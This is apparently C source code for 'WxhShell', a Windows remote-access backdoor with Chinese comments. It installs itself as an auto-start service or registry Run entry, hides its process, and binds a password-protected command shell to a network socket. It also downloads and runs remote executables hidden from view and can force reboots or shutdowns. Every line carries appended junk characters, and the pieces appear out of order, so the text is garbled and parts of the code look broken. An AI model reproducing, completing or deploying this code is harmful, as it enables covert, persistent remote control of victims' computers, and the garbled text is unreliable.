    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7|k2~\@q  
    if(Boot(SHUTDOWN)) e\._M$l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K_fJ{Vc>O  
    else { l% p4.CX  
    closesocket(wsh); N>w+YFM  
    ExitThread(0); e> Dux  
    } 7[1 VFc#tf  
    break; kbSl.V%)  
    } jfYM*%  
  // 获取shell 5`QfysR5  
  case 's': { kyf(V)APPu  
    CmdShell(wsh); ddY-F }z~  
    closesocket(wsh); $S^rKp#  
    ExitThread(0); LhSXz>AX  
    break; c~= {A  
  } D7Y?$=0ycb  
  // 退出  USJ4Z  
  case 'x': { 8l<~zIoO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;?Q0mXr  
    CloseIt(wsh); f\z9?Z(~  
    break; F(`Q62o@  
    } 65GC7 >[  
  // 离开 G+t zp&G@  
  case 'q': { SduUXHk  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); f\;f&GI  
    closesocket(wsh); m4^VlE,`Dh  
    WSACleanup(); 4{h^O@*g  
    exit(1); |M EJ)LE7  
    break; @h\i<sh!^  
        } E)]emeG d  
  } _8 l=65GW  
  } Q6n8,2*  
~ujg250.L  
  // 提示信息 X{iidTW`xv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @ev^e !B  
} PiLLUyQx  
  } /U>8vV+C  
qnzNJ_ `R  
  return; ie/QSte  
} m|[cEZxHB  
#2+hu^Q-  
// shell模块句柄 kdMB.~(K=  
int CmdShell(SOCKET sock) d;a"rq@a)  
{ [-\DC*6  
STARTUPINFO si; V/ZWyYxjLi  
ZeroMemory(&si,sizeof(si)); Cyud)BZvm  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (A;HB@)[A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \\/ !I   
PROCESS_INFORMATION ProcessInfo; cGW L'r)P  
char cmdline[]="cmd"; yCv"(fNQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7KtgR=-Lb  
  return 0; 7>gW2 m  
} >P6U0  
FYK}AR<=  
// 自身启动模式 r<*Y1;7H'  
int StartFromService(void) <4;f?e u  
{ /sl#M  
typedef struct i k0w\*  
{ ^1ks`1  
  DWORD ExitStatus; 6,]2;'  
  DWORD PebBaseAddress; ?#__#  
  DWORD AffinityMask; C |rl",&  
  DWORD BasePriority; w$Mb+b$  
  ULONG UniqueProcessId; $'lJ_ jL  
  ULONG InheritedFromUniqueProcessId; !Tu.A@  
}   PROCESS_BASIC_INFORMATION; l`];CALA4  
!p)cP"fa  
PROCNTQSIP NtQueryInformationProcess; Fh)YNW@  
=IIE]<z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,=P0rbtK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q?%v b  
RHq r-%  
  HANDLE             hProcess; s3M#ua#mX  
  PROCESS_BASIC_INFORMATION pbi; @T-}\AU  
_"'-f l98*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H/ub=,Ej*  
  if(NULL == hInst ) return 0; (7v`5|'0  
T f^O(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 16I(S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B^1Io9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); GF Rd:e  
_j<,qi  
  if (!NtQueryInformationProcess) return 0; ,qlFk|A|  
tWdP5vfp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); QpifO  
  if(!hProcess) return 0; fVBRP[,   
I3?:KVa  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l1RFn,Tzr  
OZh+x`' #  
  CloseHandle(hProcess); ,@2d4eg 4  
Vs[!WJ 7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \y/+H  
if(hProcess==NULL) return 0; t{/ EN)J  
14\!FCe)!  
HMODULE hMod; o-t!z'\lO  
char procName[255]; yDw^xGws  
unsigned long cbNeeded; D%.<} vG  
5{6ebq55"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nzu 3BVv  
H %PIE1_  
  CloseHandle(hProcess); ;:gx;'dm5  
Eb9M;u  
if(strstr(procName,"services")) return 1; // 以服务启动 P^*gk P  
:Ee5:S   
  return 0; // 注册表启动 fKT(.VN q5  
} GgjBLe=C  
@i:_ JOl  
// 主模块 VAR/"  
int StartWxhshell(LPSTR lpCmdLine) 6UJBE<ntj  
{ 4HDQj]z/  
  SOCKET wsl; FdJC@Y-#uA  
BOOL val=TRUE; ?|Mmz@  
  int port=0; Py,@or7n  
  struct sockaddr_in door; ?jzadCel  
:Zd# }P  
  if(wscfg.ws_autoins) Install(); wwmODw<tT  
%x7l`.) N  
port=atoi(lpCmdLine); %25_  
)uyh  
if(port<=0) port=wscfg.ws_port; y/2U:H  
'lNl><e-  
  WSADATA data; HM1y$ej  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  yQ8H-a.  
k .l,>s`!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @.iOFY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $RSVN?  
  door.sin_family = AF_INET; rQ$A|GJL  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); JGD{cr[S  
  door.sin_port = htons(port); !ZV#~t:)  
XsHl%o8,z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { HI eMV,.QN  
closesocket(wsl); }Mo9r4}  
return 1; %jM|*^\%  
} c#;LH5KI  
"Hjw  
  if(listen(wsl,2) == INVALID_SOCKET) { cw<DM%p  
closesocket(wsl); HwSPOII|8K  
return 1; Q<``}:y|>  
} fhn0^Qc"+  
  Wxhshell(wsl); Tm^zo Vi  
  WSACleanup(); AjANuyUaP  
Fk(0q/b  
return 0; z_l3=7R  
[l5 "'{x  
} ?\F,}e  
qkUr5^1  
// 以NT服务方式启动 @+X}O /74  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +;[`fSi  
{ j)IK  
DWORD   status = 0; rb\Ohv\  
  DWORD   specificError = 0xfffffff; mLY*  
<CmsnX  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Pe wPl0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #CQ>d8&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8rp-Xi W  
  serviceStatus.dwWin32ExitCode     = 0; = xX^  
  serviceStatus.dwServiceSpecificExitCode = 0; BK d(  
  serviceStatus.dwCheckPoint       = 0; )Y&De)=  
  serviceStatus.dwWaitHint       = 0; EJtU(HmW  
Z#MODf0H@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'H cDl@E  
  if (hServiceStatusHandle==0) return; 5!ReW39c ;  
F5<{-{Ky  
status = GetLastError(); u\.sS|$  
  if (status!=NO_ERROR) f|^f^Hu:{  
{ }Rux<=cd|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; t2Y~MyT/  
    serviceStatus.dwCheckPoint       = 0; =;/h{ t  
    serviceStatus.dwWaitHint       = 0; usTCn3u  
    serviceStatus.dwWin32ExitCode     = status; V!<#E)-?<  
    serviceStatus.dwServiceSpecificExitCode = specificError; l*:p==  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); S8)awTA9  
    return;  B-gr2-  
  } ;W*$<~_  
[sk"2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _gGy(`  
  serviceStatus.dwCheckPoint       = 0; -<O:isB   
  serviceStatus.dwWaitHint       = 0; zuPH3Q={  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); KnFbRhu[  
} #EM'=Q%TO  
G<dXJ ]\\  
// 处理NT服务事件,比如:启动、停止 #dfW1@m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) y14@9<~9  
{ pq&c]8H  
switch(fdwControl) Go67VqJr  
{ TnaIRJ\B  
case SERVICE_CONTROL_STOP: aBC[(}Pb]  
  serviceStatus.dwWin32ExitCode = 0; YaT07X.(b  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ha),N<'  
  serviceStatus.dwCheckPoint   = 0; ~3Y NHm6V  
  serviceStatus.dwWaitHint     = 0; d?P aZz{4  
  { 2Ls<OO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t]o gn(  
  } l&A`  
  return; :gVjBF2  
case SERVICE_CONTROL_PAUSE: (os7Q?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; O9yQ9sl  
  break; *Sf^()5C,  
case SERVICE_CONTROL_CONTINUE: V V4_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >lW*%{|b$^  
  break; 7A|jnm  
case SERVICE_CONTROL_INTERROGATE: 4>E2G:  
  break; ,i,=LGn  
}; nJya1AH;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]xG4T>S  
} YBO53S]=  
MnI $%  
// 标准应用程序主函数 L' pZ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ({9!P30:  
{ 7| T:TbY>  
^Bb_NcU  
// 获取操作系统版本 HW G~m:km  
OsIsNt=GetOsVer(); S_CtE M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); YC_^jRB8n  
FTfA\/tl(;  
  // 从命令行安装 / fq6-;co+  
  if(strpbrk(lpCmdLine,"iI")) Install(); PS22$_}   
IXN4?=)I  
  // 下载执行文件 M5V1j(URE  
if(wscfg.ws_downexe) { g3XAs@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A!kyga6F5  
  WinExec(wscfg.ws_filenam,SW_HIDE); D+3Y.r 9  
} aVYUk7_<  
,H?p9L; qp  
if(!OsIsNt) { jb2:O,+!  
// 如果时win9x,隐藏进程并且设置为注册表启动 eQx"nl3U%  
HideProc(); #c>MUC(?s:  
StartWxhshell(lpCmdLine); h<.[U $,  
} !q/lgpEi  
else [mPdT^h  
  if(StartFromService()) 20qVzXi  
  // 以服务方式启动 Q ?t  
  StartServiceCtrlDispatcher(DispatchTable); dmy-}.pqN  
else zFr}$  
  // 普通方式启动 9%qMZP0]  
  StartWxhshell(lpCmdLine); Mg$9'a"[\  
(r4VIlap  
return 0; uLM_KZ  
} +CT$/k  
eNFUjDm  
H=#Jg;_w  
1znV>PO!  
=========================================== 2>k)=hl:  
 ^gyp- !  
y^\#bpq&\  
@RIEO%S  
c1J)yv1y  
0AKwZ' &H  
" E3skC%}  
|mmG s  
#include <stdio.h> 1}E@lOc  
#include <string.h> A*~1Uz\t  
#include <windows.h> lKUm_; m  
#include <winsock2.h> %},G(>  
#include <winsvc.h> ]P$DAi   
#include <urlmon.h> <\g&%c,   
~,68S^nP)H  
#pragma comment (lib, "Ws2_32.lib") @t8kN6.  
#pragma comment (lib, "urlmon.lib") O97bgj]  
-<!17jy  
#define MAX_USER   100 // 最大客户端连接数 1>VS/H`  
#define BUF_SOCK   200 // sock buffer p8dn-4  
#define KEY_BUFF   255 // 输入 buffer X); Zm7  
ON0+:`3\  
#define REBOOT     0   // 重启 Q; /F0JDH  
#define SHUTDOWN   1   // 关机 Ch9!AUiR  
+~ Ay h[V  
#define DEF_PORT   5000 // 监听端口 %i>e  
|S:!+[  
#define REG_LEN     16   // 注册表键长度 xPup?oP >  
#define SVC_LEN     80   // NT服务名长度 !<zzP LC  
'5/}MMT  
// 从dll定义API  MK"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Zw][c7%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); x,gE$dNzy  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u^zitW!X$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "q^'5p]  
&vX!7 Y  
// wxhshell配置信息 [=6~"!P}  
struct WSCFG { q)ql]iH  
  int ws_port;         // 监听端口 ~hslLUE  
  char ws_passstr[REG_LEN]; // 口令 m8j-lNu  
  int ws_autoins;       // 安装标记, 1=yes 0=no `L#?eQ{  
  char ws_regname[REG_LEN]; // 注册表键名 2^#UO=ct  
  char ws_svcname[REG_LEN]; // 服务名 ;sR6dT)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?_>^<1I1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |QOJ9~hxD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E 'JC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qmeml_(W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (TNY2Ke2 8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7b,,%rUd  
vj&5`  
}; `u\z!x'  
9m !!b{  
// default Wxhshell configuration QlYs7zZ  
struct WSCFG wscfg={DEF_PORT, nQ17E{^pR  
    "xuhuanlingzhe", Z#6~N/b  
    1, C%_  
    "Wxhshell", T#G<?oF  
    "Wxhshell", - (_e=3$  
            "WxhShell Service", p?$G>nkdq  
    "Wrsky Windows CmdShell Service", R:OU>HsdX  
    "Please Input Your Password: ", NJ)2+  
  1, 3U"')  
  "http://www.wrsky.com/wxhshell.exe", Dbdzb m7  
  "Wxhshell.exe" )6:]o&bZ  
    }; Lv5X 'yM  
@" 0tW:  
// 消息定义模块 :~3{oZGX&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f\);HJbg  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M"5!s,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; kq%gY  
char *msg_ws_ext="\n\rExit."; d&T6p&V$  
char *msg_ws_end="\n\rQuit."; =Xy`"i{`(  
char *msg_ws_boot="\n\rReboot..."; Z1$];Q\cX  
char *msg_ws_poff="\n\rShutdown..."; `}~ )1'(#/  
char *msg_ws_down="\n\rSave to ";  Q A)9  
{jM<t  
char *msg_ws_err="\n\rErr!"; "bR'Bt  
char *msg_ws_ok="\n\rOK!"; g"]<J &  
n!ZP?]FR  
char ExeFile[MAX_PATH]; uOl(-Zq@  
int nUser = 0; #W@% K9  
HANDLE handles[MAX_USER]; x, Vh  
int OsIsNt; 4Wla&yy  
1Y"35)CR)  
SERVICE_STATUS       serviceStatus; 0^}'+t,lc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; dmaqXsU8q  
z/0yO@_D/q  
// 函数声明 }WO9!E(  
int Install(void); WiNr866nB  
int Uninstall(void); J[!x%8m  
int DownloadFile(char *sURL, SOCKET wsh); K)Zkj"y  
int Boot(int flag); Z?(4%U5z  
void HideProc(void); BLwfm+ m"  
int GetOsVer(void); aXIB) $1  
int Wxhshell(SOCKET wsl); o'^;tLs15  
void TalkWithClient(void *cs); WHgV_o 8  
int CmdShell(SOCKET sock); n4WSV  
int StartFromService(void); YO(:32S  
int StartWxhshell(LPSTR lpCmdLine); p584)"[*t  
I[=Wmxa?r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); nGx ~) T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9eGCBVW:*  
?UZ$bz  
// 数据结构和表定义 s`#ntset0  
SERVICE_TABLE_ENTRY DispatchTable[] = 4\1wyN /}M  
{ b ~/Wnp5  
{wscfg.ws_svcname, NTServiceMain}, DhWWN>I  
{NULL, NULL} D(qHf9  
}; P(pd0,%i;a  
}2Cd1RnS  
// 自我安装 CO:*x,6au  
int Install(void) L{2b0Zh'  
{ ,TF<y#wed  
  char svExeFile[MAX_PATH]; #u8*CA9  
  HKEY key; 0):uF_t<  
  strcpy(svExeFile,ExeFile); dv^e 9b|  
:/@k5#DY  
// 如果是win9x系统,修改注册表设为自启动 BH&/2tO%  
if(!OsIsNt) { X:G& 5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QJ a4R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hGed/Yr  
  RegCloseKey(key); dd \bI_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [xtK"E#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |"CJ  
  RegCloseKey(key); AZxrJ2G  
  return 0; 0{0;1.ZP  
    } PyC;f8n'(  
  } ;48P vw>g}  
} TRgY:R_  
else { M8^.19q;  
b&=]S(  
// 如果是NT以上系统,安装为系统服务 7.Ml9{M/i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'bB>$E  
if (schSCManager!=0) Mx/h?}u;  
{ $yDW.pt  
  SC_HANDLE schService = CreateService |.b%rVu  
  ( tLS<0  
  schSCManager, E\R raPkQT  
  wscfg.ws_svcname, Z!wD~C"D73  
  wscfg.ws_svcdisp, #0P!xZ'|{  
  SERVICE_ALL_ACCESS, v7 8&[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a3O nW\N  
  SERVICE_AUTO_START, fDU+3b  
  SERVICE_ERROR_NORMAL, cP*c(k~N  
  svExeFile, A$7Eo`Of  
  NULL, 7<EJo$-j  
  NULL, fd?bU|I_2  
  NULL, h'B9|Cm  
  NULL, ,^.S0;D,Z  
  NULL s8t f@H4r  
  ); 5 R,la\!bQ  
  if (schService!=0) $42Au2Jg  
  { E7rX1YdR  
  CloseServiceHandle(schService); o-SRSu  
  CloseServiceHandle(schSCManager); C!!mOAhJ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); T(Y}V[0+  
  strcat(svExeFile,wscfg.ws_svcname); [urH a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )UR1E?'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J#6LSD@ (O  
  RegCloseKey(key); [zY!'cz?  
  return 0; QjQ4Z'.r>  
    } |yLk5e~@-  
  } i[^k.W3gf  
  CloseServiceHandle(schSCManager); R]CZw;zS_  
} 3hc#FmLr2b  
} `6rrXU6|  
T|;^.TZ  
return 1; McEmd.S<n  
} }l.KpdRT2  
LkaG8#m1R  
// 自我卸载 'oC$6l'rQ  
int Uninstall(void) )*!1bgXQ  
{ 54=}GnZN  
  HKEY key; jo_o` j  
mYX56,b}5  
if(!OsIsNt) { ewo*7j4*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XDHLEG-u(  
  RegDeleteValue(key,wscfg.ws_regname); xttYn ]T  
  RegCloseKey(key); b![t6-f^z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U8YO0}_z  
  RegDeleteValue(key,wscfg.ws_regname); NtHbwU,  
  RegCloseKey(key); kfVZ=`p}  
  return 0; [FB&4>V/  
  } !\aV 0,  
} rwoF}}  
} ;)gLjF/F7  
else { 5+`=t07^et  
}W1^t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]a)IMIh;  
if (schSCManager!=0) = Q@6c   
{ PM@XtL7J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); j\! e9M  
  if (schService!=0) @|^jq  
  { Z%Vr+)!4  
  if(DeleteService(schService)!=0) { ?hKm&B;d  
  CloseServiceHandle(schService); pw!@Q?R  
  CloseServiceHandle(schSCManager); 'w}p[(  
  return 0; ;JYoW{2  
  } m6-76ma,hi  
  CloseServiceHandle(schService); ]+AAT=B<!  
  } Y]~IY?I  
  CloseServiceHandle(schSCManager); Bk+{}  
} P2>:p%Z  
} zgK;4 22$m  
Pfm*<,'x"[  
return 1; )eECOfmnZ  
} 0X.TF  
+hpSxdAz4  
// 从指定url下载文件 0"TgLd  
int DownloadFile(char *sURL, SOCKET wsh) fc3 Fi'^  
{ NP "ylMr7P  
  HRESULT hr; 6?O}Q7G  
char seps[]= "/"; L4~ W/6A  
char *token; $ cq!RgRn  
char *file; 7iP5T  
char myURL[MAX_PATH]; ?C}sR:K/  
char myFILE[MAX_PATH]; ^ZR8s^X  
O"qR}W  
strcpy(myURL,sURL); 97!H`|u <  
  token=strtok(myURL,seps); R+s1[Z  
  while(token!=NULL) =m~ruZ/  
  { )]wuF`  
    file=token; bCzdszvg3  
  token=strtok(NULL,seps); 4X*Q6rW  
  } Uh*@BmDA  
{f-XyF1`  
GetCurrentDirectory(MAX_PATH,myFILE); )PwQ^||{  
strcat(myFILE, "\\"); +uELTHH=  
strcat(myFILE, file); /0 _zXQyV  
  send(wsh,myFILE,strlen(myFILE),0); (oF-O{  
send(wsh,"...",3,0); )XpV u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); uNy!< u  
  if(hr==S_OK) KhrFg1|  
return 0; ~ibF M5m  
else TQ?#PRB  
return 1; Y!M~#oqio  
~U9q-/(J/  
} g#}tm<  
O MvT;Vgg  
// 系统电源模块 s0 47"Q  
int Boot(int flag) )L >Q;'  
{ lr0M<5d=p  
  HANDLE hToken; ~?CS_B *  
  TOKEN_PRIVILEGES tkp; pD[pTMG@$  
" <Qm -  
  if(OsIsNt) { 3 &Sp@,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1) 'Iu`k/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !O8.#+  
    tkp.PrivilegeCount = 1; {<!hlB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =6fB*bNk]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;5N41_hG  
if(flag==REBOOT) { ^;4YZwW5w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) a5)JkC  
  return 0; ncj!KyU  
} #hy+ L  
else { AC'lS >7s  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :mP9^Do2;  
  return 0; <n\i>A3`,S  
} qEZ!2R^`G  
  } 1LX)4TCC  
  else { 'mJ13  
if(flag==REBOOT) { R B%:h-t4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4dD2{M  
  return 0; kf'=%]9#_T  
} djfU:$!j&  
else { >9MS" t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I3PQdAs~&h  
  return 0; \f<z*!,D$  
} &Q~)]|t  
} UhdqY]  
G1/Gq.<  
return 1; .zIgbv s  
} m &!XA  
i?x$w{co  
// win9x进程隐藏模块 - zQ<Z E  
void HideProc(void) A$:|Qd7F1  
{ bOb Nc  
!?b/-~o7S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ki#bPgT  
  if ( hKernel != NULL ) WGPD8.  
  { J)KnE2dw5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;Gh>44UM[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {:$NfW  
    FreeLibrary(hKernel); =W<[Fe3  
  } t H,sql)  
B$j' /e-Zk  
return; GL`tOD:P"  
} 0#^Bf[Dn  
 ,Y-S(  
// 获取操作系统版本 [4: Yi{>  
int GetOsVer(void) TaWaHf  
{ -x5F;d}  
  OSVERSIONINFO winfo; |Qr:!MA  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }jiK3?e  
  GetVersionEx(&winfo); 6bUl > 4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bS%C?8  
  return 1; tpGCrn2w>  
  else %I0}4$  
  return 0; &Sa~/!M  
} 7D9]R#-K  
]Zk}ZG>6  
// 客户端句柄模块 QAUykS8  
int Wxhshell(SOCKET wsl) o}  {-j  
{ =ajLa/m'  
  SOCKET wsh; "&<~UiI  
  struct sockaddr_in client; &(7$&Q  
  DWORD myID; V:>`*tlh  
d'OGVN  
  while(nUser<MAX_USER) M $uf:+F  
{ QF&6?e06p0  
  int nSize=sizeof(client); s??czM2O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); yV2e5/i  
  if(wsh==INVALID_SOCKET) return 1; wASX\D }  
5*+I M*c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gyFr"9';c  
if(handles[nUser]==0) \Z'/+}^h  
  closesocket(wsh); shzG Eb  
else uJ 8x  
  nUser++; D2]ZMDL.  
  } }I'^./za  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?0) @jc=  
Q.E_:=*H  
  return 0; =f `=@]  
} u(Rk'7k  
'kEG.Oq7  
// 关闭 socket bvp)r[8h  
void CloseIt(SOCKET wsh) Q i^;1&  
{ NWaO_sm  
closesocket(wsh); sv`"\3N[  
nUser--; v2=/[E@  
ExitThread(0); ;W6-i2?  
} Vd<K4Tk  
'kQ~  
// 客户端请求句柄 ZPvf-Pq Jl  
void TalkWithClient(void *cs) CW;m  
{ sUV>@UMnu  
-=sf}4A  
  SOCKET wsh=(SOCKET)cs; Q1]Wo9j  
  char pwd[SVC_LEN]; *{nunb>WO  
  char cmd[KEY_BUFF]; O4!9{  
char chr[1]; xEC 2@J  
int i,j; $P;UoqG<&  
Man^<T%F  
  while (nUser < MAX_USER) { 2rmNdvvrk  
3Y(9\}E@`  
if(wscfg.ws_passstr) { ofK='G .  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hLo>R'@uN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T]uKH29.%  
  //ZeroMemory(pwd,KEY_BUFF); qy&\Xgn;GA  
      i=0; J'Gm7h{   
  while(i<SVC_LEN) { gi1j/j7  
 Oq}ip  
  // 设置超时 q<EEb  
  fd_set FdRead; gb(#DbI  
  struct timeval TimeOut; Bj8<@~bX:L  
  FD_ZERO(&FdRead); +(y>qd  
  FD_SET(wsh,&FdRead); _Fxe|"<^  
  TimeOut.tv_sec=8; 03F3q4"  
  TimeOut.tv_usec=0; s-%J 5_d f  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sJv`fjf%8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :P,2K5]y  
}PmTR4F!}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0O[l?e4,8{  
  pwd=chr[0]; N3Z@cp  
  if(chr[0]==0xd || chr[0]==0xa) { yf?W^{^|  
  pwd=0; ^}hZ'<PK  
  break; ]) =H  
  } m3luhGn  
  i++; AA2ui%  
    } 1J&#&\,f&  
BCBUb  
  // 如果是非法用户,关闭 socket sjb-Me?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); VfRs[ 3Q  
} 3A d*,>!  
D$$3fN.iEL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "f<#.}8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =1IEpxh%  
?yf_Dt  
while(1) { =E1tgrW  
9 ?(x>P  
  ZeroMemory(cmd,KEY_BUFF); T\fudmj&  
Az9J\V~"  
      // 自动支持客户端 telnet标准   b*`fLrqV.  
  j=0; CC>($k"  
  while(j<KEY_BUFF) { L&QtHSzy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q K j1yG0i  
  cmd[j]=chr[0]; $bFgsy*N2  
  if(chr[0]==0xa || chr[0]==0xd) { { Hr>X  
  cmd[j]=0; U&X.  
  break; ) G|"jFP  
  } {zu/tCq?  
  j++; ,O2q+'&  
    } $YPQC  
#r(a~  
  // 下载文件 A(NEWO  
  if(strstr(cmd,"http://")) { 61kO1,Uz*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); w~]} acP  
  if(DownloadFile(cmd,wsh)) F=: c5z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $82zyq  
  else >j- b5g"g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =O,e97  
  } PB@-U.Z  
  else { $6Z[|9W^A  
e_^KI  
    switch(cmd[0]) {  t9]r  
